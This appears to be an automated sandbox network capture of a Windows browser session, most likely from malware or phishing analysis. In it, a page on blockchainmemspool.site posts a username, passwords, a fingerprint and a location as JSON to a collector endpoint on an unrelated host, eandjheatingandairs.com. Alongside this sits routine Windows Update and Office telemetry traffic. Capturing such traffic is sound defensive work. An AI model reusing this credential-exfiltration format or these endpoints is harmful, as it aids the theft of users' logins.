2024-11-27 03:06:59 UTC	557	OUT	OPTIONS /api/authentication HTTP/1.1 Host: icarus.eandjheatingandairs.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://ft0.blockchainmemspool.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://ft0.blockchainmemspool.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:07:00 UTC	758	IN	HTTP/1.1 204 No Content Connection: close x-powered-by: PHP/8.1.27 cache-control: no-cache, private access-control-allow-origin: https://ft0.blockchainmemspool.site vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers access-control-allow-credentials: true access-control-allow-methods: POST access-control-allow-headers: content-type access-control-max-age: 0 content-type: text/html; charset=UTF-8 date: Wed, 27 Nov 2024 03:07:00 GMT server: LiteSpeed platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49776	13.227.8.47	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:00 UTC	621	OUT	GET /product-mje%EF%BC%A0ml.avio.co.jp HTTP/1.1 Host: logo.clearbit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ft0.blockchainmemspool.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:07:01 UTC	517	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Content-Length: 49 Connection: close Date: Wed, 27 Nov 2024 03:07:01 GMT x-envoy-response-flags: - Server: Clearbit strict-transport-security: max-age=63072000; includeSubDomains; preload x-content-type-options: nosniff Vary: Accept-Encoding X-Cache: Error from cloudfront Via: 1.1 826a2a976365ee438094cd8d4b556040.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-C1 X-Amz-Cf-Id: 83pAjOPkBk7zU69t0yA5zlRxsoXflkl3FkK5JaEgt73Z-c_WWlmcag==
2024-11-27 03:07:01 UTC	49	IN	Data Raw: 22 70 72 6f 64 75 63 74 2d 6d 6a 65 ef bc a0 6d 6c 2e 61 76 69 6f 2e 63 6f 2e 6a 70 22 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 64 6f 6d 61 69 6e 0a Data Ascii: "product-mjeml.avio.co.jp" not a valid domain

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49777	185.212.70.145	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:02 UTC	684	OUT	POST /api/authentication HTTP/1.1 Host: icarus.eandjheatingandairs.com Connection: keep-alive Content-Length: 153 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://ft0.blockchainmemspool.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ft0.blockchainmemspool.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:07:02 UTC	153	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 22 70 72 6f 64 75 63 74 2d 6d 6a 65 ef bc a0 6d 6c 2e 61 76 69 6f 2e 63 6f 2e 6a 70 22 2c 22 70 61 73 73 77 6f 72 64 22 3a 22 77 68 77 47 32 36 47 6d 4c 64 6b 59 22 2c 22 72 65 74 72 79 22 3a 30 2c 22 66 69 6e 67 65 72 50 72 69 6e 74 22 3a 22 35 79 43 35 63 6d 63 7a 45 35 57 47 48 68 68 33 42 58 46 74 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 7d Data Ascii: {"username":"product-mjeml.avio.co.jp","password":"whwG26GmLdkY","retry":0,"fingerPrint":"5yC5cmczE5WGHhh3BXFt","country":"US","city":"New York City"}
2024-11-27 03:07:02 UTC	642	IN	HTTP/1.1 200 OK Connection: close x-powered-by: PHP/8.1.27 cache-control: no-cache, private content-type: application/json x-ratelimit-limit: 60 x-ratelimit-remaining: 59 access-control-allow-origin: https://ft0.blockchainmemspool.site vary: Origin access-control-allow-credentials: true content-length: 13 date: Wed, 27 Nov 2024 03:07:02 GMT server: LiteSpeed platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-27 03:07:02 UTC	13	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 31 7d Data Ascii: {"message":1}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49778	185.212.70.145	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:04 UTC	372	OUT	GET /api/authentication HTTP/1.1 Host: icarus.eandjheatingandairs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:07:04 UTC	524	IN	HTTP/1.1 405 Method Not Allowed Connection: close x-powered-by: PHP/8.1.27 allow: POST cache-control: no-cache, private vary: Origin content-type: text/html; charset=UTF-8 content-length: 835 date: Wed, 27 Nov 2024 03:07:04 GMT server: LiteSpeed platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-27 03:07:04 UTC	835	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 2c 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 6e 20 45 72 72 6f 72 20 4f 63 63 75 72 72 65 64 3a 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 20 66 6f 6e 74 3a 20 31 36 70 78 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8" /> <meta name="robots" content="noindex,nofollow,noarchive" /> <title>An Error Occurred: Method Not Allowed</title> <style>body { background-color: #fff; color: #222; font: 16px

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49779	185.212.70.145	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:23 UTC	557	OUT	OPTIONS /api/authentication HTTP/1.1 Host: icarus.eandjheatingandairs.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://ft0.blockchainmemspool.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://ft0.blockchainmemspool.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:07:24 UTC	758	IN	HTTP/1.1 204 No Content Connection: close x-powered-by: PHP/8.1.27 cache-control: no-cache, private access-control-allow-origin: https://ft0.blockchainmemspool.site vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers access-control-allow-credentials: true access-control-allow-methods: POST access-control-allow-headers: content-type access-control-max-age: 0 content-type: text/html; charset=UTF-8 date: Wed, 27 Nov 2024 03:07:24 GMT server: LiteSpeed platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49780	13.227.8.47	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:24 UTC	621	OUT	GET /product-mje%EF%BC%A0ml.avio.co.jp HTTP/1.1 Host: logo.clearbit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ft0.blockchainmemspool.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:07:25 UTC	517	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Content-Length: 49 Connection: close Date: Wed, 27 Nov 2024 03:07:24 GMT x-envoy-response-flags: - Server: Clearbit strict-transport-security: max-age=63072000; includeSubDomains; preload x-content-type-options: nosniff Vary: Accept-Encoding X-Cache: Error from cloudfront Via: 1.1 db98d3dbedf7d278c1bda16661056cc6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-C1 X-Amz-Cf-Id: Hmjzsha_ZKagqBVpWpjP60hqWTrcwHFE4OW7lQViTsLyrTjFJu7Fkg==
2024-11-27 03:07:25 UTC	49	IN	Data Raw: 22 70 72 6f 64 75 63 74 2d 6d 6a 65 ef bc a0 6d 6c 2e 61 76 69 6f 2e 63 6f 2e 6a 70 22 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 64 6f 6d 61 69 6e 0a Data Ascii: "product-mjeml.avio.co.jp" not a valid domain

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49781	185.212.70.145	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:25 UTC	684	OUT	POST /api/authentication HTTP/1.1 Host: icarus.eandjheatingandairs.com Connection: keep-alive Content-Length: 111 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://ft0.blockchainmemspool.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ft0.blockchainmemspool.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:07:25 UTC	111	OUT	Data Raw: 7b 22 70 61 73 73 77 6f 72 64 22 3a 22 48 29 7a 70 62 65 6e 62 5f 54 29 22 2c 22 72 65 74 72 79 22 3a 31 2c 22 66 69 6e 67 65 72 50 72 69 6e 74 22 3a 22 35 79 43 35 63 6d 63 7a 45 35 57 47 48 68 68 33 42 58 46 74 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 7d Data Ascii: {"password":"H)zpbenb_T)","retry":1,"fingerPrint":"5yC5cmczE5WGHhh3BXFt","country":"US","city":"New York City"}
2024-11-27 03:07:26 UTC	642	IN	HTTP/1.1 200 OK Connection: close x-powered-by: PHP/8.1.27 cache-control: no-cache, private content-type: application/json x-ratelimit-limit: 60 x-ratelimit-remaining: 58 access-control-allow-origin: https://ft0.blockchainmemspool.site vary: Origin access-control-allow-credentials: true content-length: 13 date: Wed, 27 Nov 2024 03:07:26 GMT server: LiteSpeed platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-27 03:07:26 UTC	13	IN	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 32 7d Data Ascii: {"message":2}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49782	185.212.70.145	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:27 UTC	372	OUT	GET /api/authentication HTTP/1.1 Host: icarus.eandjheatingandairs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:07:28 UTC	524	IN	HTTP/1.1 405 Method Not Allowed Connection: close x-powered-by: PHP/8.1.27 allow: POST cache-control: no-cache, private vary: Origin content-type: text/html; charset=UTF-8 content-length: 835 date: Wed, 27 Nov 2024 03:07:27 GMT server: LiteSpeed platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-27 03:07:28 UTC	835	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 2c 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 6e 20 45 72 72 6f 72 20 4f 63 63 75 72 72 65 64 3a 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 20 66 6f 6e 74 3a 20 31 36 70 78 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8" /> <meta name="robots" content="noindex,nofollow,noarchive" /> <title>An Error Occurred: Method Not Allowed</title> <style>body { background-color: #fff; color: #222; font: 16px

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49783	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:28 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=nKTtlEkgfnco6RE&MD=9AH7rm3u HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-27 03:07:28 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 9215c4ee-6a32-44cc-a030-2b1fb9962aba MS-RequestId: a6632642-e8a1-4e49-bef4-b4da7e2201dc MS-CV: dryyzaWyCku6F+Mf.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 27 Nov 2024 03:07:27 GMT Connection: close Content-Length: 30005
2024-11-27 03:07:28 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-27 03:07:28 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:28 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:29 UTC	492	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:29 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 25 Nov 2024 13:17:46 GMT ETag: "0x8DD0D538D5EA1E0" x-ms-request-id: f5f75198-101e-00a2-8091-3f9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030729Z-174f7845968pf68xhC1EWRr4h80000000wfg00000000nvpm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 03:07:29 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-27 03:07:29 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-27 03:07:29 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-27 03:07:29 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-27 03:07:29 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> 